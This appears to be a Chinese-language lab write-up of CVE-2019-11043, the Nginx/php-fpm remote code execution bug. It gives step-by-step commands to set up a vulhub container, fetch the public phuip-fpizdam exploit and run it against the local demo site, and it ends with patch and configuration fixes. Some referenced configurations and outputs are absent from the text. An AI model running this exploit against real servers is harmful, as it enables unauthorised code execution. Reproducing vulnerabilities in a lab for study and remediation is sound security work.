漏洞介绍
Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。
Nginx+php-fpm的服务器,在使用如下配置的时候,可能存在远程代码执行漏洞。
漏洞复现
使用vulhub复现漏洞,进入CVE-2019-11043文件夹下(cd /home/apple/vulhub/php/CVE-2019-11043)。安装环境(docker-compose up -d),查看环境是否拉取成功,并查看端口(docker-compose ps)
在下载github上公开的exp之前先安装一下go环境。
获取最新的软件包源,并添加到当前的apt库
add-apt-repository ppa:longsleep/golang-backports
更新apt库
apt-get update
安装go
sudo apt-get install golang-go
查看go的环境变量
go env
重要的是需要给GOPATH设置工作空间,这里我设置的路径为/opt/go
使用命令export GOPATH=/opt/go
下载github上公开的exp
go get github.com/neex/phuip-fpizdam
之后编译
go install github.com/neex/phuip-fpizdam
进入到phuip-fpizdam,这里的具体路径是/opt/go/src/github.com/neex/phuip-fpizdam
Cd /opt/go/src/github.com/neex/phuip-fpizdam
使用exp攻击demo网站
go run . http://location:8080/index.php
如果以下提示说明exp利用成功
接下来我们给a传参
攻击成功
修复方案
临时修复:
1.在不影响业务的情况下删除nginx配置文件中的如下配置
2.在php相关的配置中加入 try_files $url=404
在这种情况下,会有nginx去检查文件是否存在,当文件不存在时,请求都不会被传递到php-fpm。
正式修复:
将php 7.1.x更新到7.1.33
将php 7.2.x更新到7.2.24
将php 7.3.x更新到7.3.11
参考连接
https://www.freebuf.com/vuls/218132.html
https://www.jianshu.com/p/afa0752efe5c